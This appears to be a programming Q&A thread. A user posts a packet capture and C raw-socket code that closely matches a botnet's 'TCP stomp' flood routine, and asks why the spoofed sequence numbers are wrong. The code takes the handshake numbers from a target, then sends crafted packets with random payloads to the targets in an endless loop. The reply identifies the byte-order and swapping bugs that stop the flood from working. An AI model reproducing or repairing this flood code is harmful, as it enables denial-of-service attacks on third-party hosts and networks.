csocketstcphandshake

TCP Previous segment not captured


    4   0.819841    192.168.52.128  170.33.9.35 TCP 74  39958 → 11158 [SYN] Seq=0 Win=65232 Len=0 MSS=1359 SACK_PERM=1 TSval=2198523866 TSecr=0 WS=128
    8   0.894724    170.33.9.35 192.168.52.128  TCP 58  11158 → 39958 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
    9   0.894857    192.168.52.128  170.33.9.35 TCP 60  39958 → 11158 [ACK] Seq=1 Ack=1 Win=65232 Len=0
    13  1.895277    192.168.52.128  170.33.9.35 TCP 70  [TCP Previous segment not captured] 39958 → 11158 [PSH, ACK] Seq=809438908 Ack=2685525536 Win=65232 Len=16
    14  1.895300    170.33.9.35 192.168.52.128  TCP 54  [TCP Dup ACK 8#1] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
    19  2.895745    192.168.52.128  170.33.9.35 TCP 70  [TCP Retransmission] 39958 → 11158 [PSH, ACK] Seq=809438908 Ack=2685525535 Win=65232 Len=16
    20  2.895759    170.33.9.35 192.168.52.128  TCP 54  [TCP Dup ACK 8#2] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
    25  3.895946    192.168.52.128  170.33.9.35 TCP 70  [TCP Retransmission] 39958 → 11158 [PSH, ACK] Seq=809438907 Ack=2685525535 Win=65232 Len=16
    26  3.895967    170.33.9.35 192.168.52.128  TCP 54  [TCP Dup ACK 8#3] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
    30  4.896407    192.168.52.128  170.33.9.35 TCP 70  [TCP Retransmission] 39958 → 11158 [PSH, ACK] Seq=809438908 Ack=2685525536 Win=65232 Len=16
    31  4.896427    170.33.9.35 192.168.52.128  TCP 54  [TCP Dup ACK 8#4] 11158 → 39958 [ACK] Seq=1 Ack=1 Win=64240 Len=0
    35  5.820383    192.168.52.128  170.33.9.35 TCP 60  [TCP Retransmission] 39958 → 11158 [FIN, ACK] Seq=1 Ack=1 Win=65232 Len=0
    36  5.820439    170.33.9.35 192.168.52.128  TCP 54  11158 → 39958 [ACK] Seq=1 Ack=2 Win=64239 Len=0
    81  24.720406   170.33.9.35 192.168.52.128  TCP 54  11158 → 39958 [RST, ACK] Seq=1 Ack=2 Win=64239 Len=0

i trying to send psh.ack packet after handshake but in wireshark i got TCP Previous segment not captured and Spurious retransmissions and always ack and sequence of my psh.ack comes with large number and seems like wireshark doesn't capture the syn sequence as tcpdump does

    // Set up receive socket
    if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
        //printf("Could not open raw socket!\n");
        return NULL;
    }
    i = 1;
    if (setsockopt(rfd, IPPROTO_IP ,IP_HDRINCL, &i, sizeof (int)) == -1)
    {
        //printf("Failed to set IP_HDRINCL. Aborting\n");
        close(rfd);
        return NULL;
    }
    
    int IPTTL = 127; //IP_TTL
    int MSS = 1259;  //MTU SIZE
    // Retrieve all ACK/SEQ numbers
    for (i = 0; i < targs_len; i++)
    {
        int fd;                     
        struct sockaddr_in addr, recv_addr;
        socklen_t recv_addr_len;
        char pktbuf[256];
        time_t start_recv;
        stomp_setup_nums:
        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
            //printf("Failed to create socket!\n");
            continue;
        }

          //Set it in nonblocking mode
          fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
          setsockopt(fd, IPPROTO_IP ,IP_TTL, &IPTTL, sizeof (int)) == -1;
          setsockopt(fd, IPPROTO_TCP ,TCP_MAXSEG, &MSS, sizeof (int)) == -1;

        // Set up address to connect to
        addr.sin_family = AF_INET;
        if (targs[i].netmask < 32)
            addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
        else
            addr.sin_addr.s_addr = targs[i].addr;
        if (dport == 0xffff)
            addr.sin_port = rand_next() & 0xffff;
        else
            addr.sin_port = htons(dport);
            // Actually connect, nonblocking
        connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
        start_recv = time(NULL);
        while (TRUE)
        {
            int ret;

            recv_addr_len = sizeof (struct sockaddr_in);
            ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
            if (ret == -1)
            {
#ifdef DEBUG
                //printf("Could not listen on raw socket!\n");
#endif
                return NULL;
            }
            if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
            {
                struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));

                if (tcph->source == addr.sin_port)
                {
                    if (tcph->syn && tcph->ack)
                    {
                        char *payload;
                        stomp_data[i].addr = addr.sin_addr.s_addr;
                        stomp_data[i].seq = ntohl(tcph->seq);
                        stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
                        stomp_data[i].sport = tcph->dest;
                        stomp_data[i].dport = tcph->source;                 
#ifdef DEBUG
                        //printf("ACK Stomp got SYN+ACK!\n");
#endif
                        // Set up the packet
                        struct iphdr *iph;
                        struct tcphdr *tcph;                        
                        pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
                        iph = (struct iphdr *)pkts[i];
                        tcph = (struct tcphdr *)(iph + 1);
                        payload = (char *)(tcph + 1);
                        iph->version = 4;
                        iph->ihl = 5;
                        iph->tos = 0;
                        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
                        iph->id = htons(0xffff);
                        iph->ttl = ip_ttl;
                        iph->frag_off = htons(1 << 14);
                        iph->protocol = IPPROTO_TCP;
                        iph->saddr = LOCAL_ADDR;
                        iph->daddr = stomp_data[i].addr;
                        tcph->source = stomp_data[i].sport;
                        tcph->dest = stomp_data[i].dport;
                        tcph->seq = stomp_data[i].ack_seq;
                        tcph->ack_seq = stomp_data[i].seq;
                        tcph->doff = 5;
                        tcph->fin = TRUE;
                        tcph->ack = TRUE;
                        tcph->window = htons(63500 + (rand_next()%1500));                   
                        tcph->urg = urg_fl;
                        tcph->ack = ack_fl;
                        tcph->psh = psh_fl;
                        tcph->rst = rst_fl;
                        tcph->syn = syn_fl;
                        tcph->fin = fin_fl;
                        rand_str(payload, data_len);
                        break;
                    }
                    else if (tcph->fin || tcph->rst)
                    {
                        close(fd);
                        goto stomp_setup_nums;
                    }
                }
            }

            if (time(NULL) - start_recv > 10)
            {

                    close(fd);

                goto stomp_setup_nums;
            }
        }
    }

    while (TRUE)
    {
        for (i = 0; i < targs_len; i++)
        {
            char *pkt = pkts[i];
            struct iphdr *iph = (struct iphdr *)pkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            char *data = (char *)(tcph + 1);

            iph->id = rand_next() & 0xffff;
            
            rand_str(data, data_len);

            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
            tcph->seq = htons(stomp_data[i].seq++);
            tcph->ack_seq = htons(stomp_data[i].ack_seq);   
            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
            targs[i].sock_addr.sin_port = tcph->dest;
            sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
        }
    }
}

here is the code even with

tcph->seq = htonl(rand() % 2); 
tcph->ack_seq = htonl(rand() % 2);

i can't get the ack-seq as i defined whats wrong with my code


Solution

  • Not really sure exactly what you're trying to achieve but I suspect it's ultimately doomed to failure. However, I think I see the proximate cause:

    You're pulling the sequence and ACK numbers from the incoming packet and storing them into stomp_data[i] and (correctly) using ntohl when storing them.

    When you attempt to send packets later though, you have two problems referencing these lines:

                   [while loop 1]
                        stomp_data[i].seq = ntohl(tcph->seq);
                        stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
    
       [while loop 2]
            tcph->seq = htons(stomp_data[i].seq++);
            tcph->ack_seq = htons(stomp_data[i].ack_seq);   
    
    1. You are not reversing seq and ack_seq (the ack_seq sent by the remote is telling you what your local seq needs to be -- you do swap them later in the first loop but then you're overwriting that value in the second loop).

    2. You're using htons but the sequence fields are both u32 so this should be htonl. The result is that you're dropping two of the four sequence number bytes in each value (and no doubt getting 0000 in those areas of the header).

    Also, it looks like your own notion of your sequence number will be messed up after the second loop if data_len is not 1, because you're sending data_len bytes (again no definition shown for that), but then you're only incrementing your local sequence value by one (via stomp_data[i].seq++).

    Though it may depend on what exactly you're trying to achieve, I'm doubtful you will ultimately be successful in this endeavor since, once you have crafted additional data packets, you will confuse your local kernel's network stack, which may well interfere with your "out-of-band" communication. That is, you send some data to the remote peer via your raw socket, it will send an ACK for that data. However, your local kernel will not be aware of that data and its notion of the local sequence number will not match the remote's notion. I don't know exactly what the actual affect will be, but at best, you'll be unable to close the socket gracefully, because the local stack's sequence number will be rejected by the remote peer when it tries to send a FIN.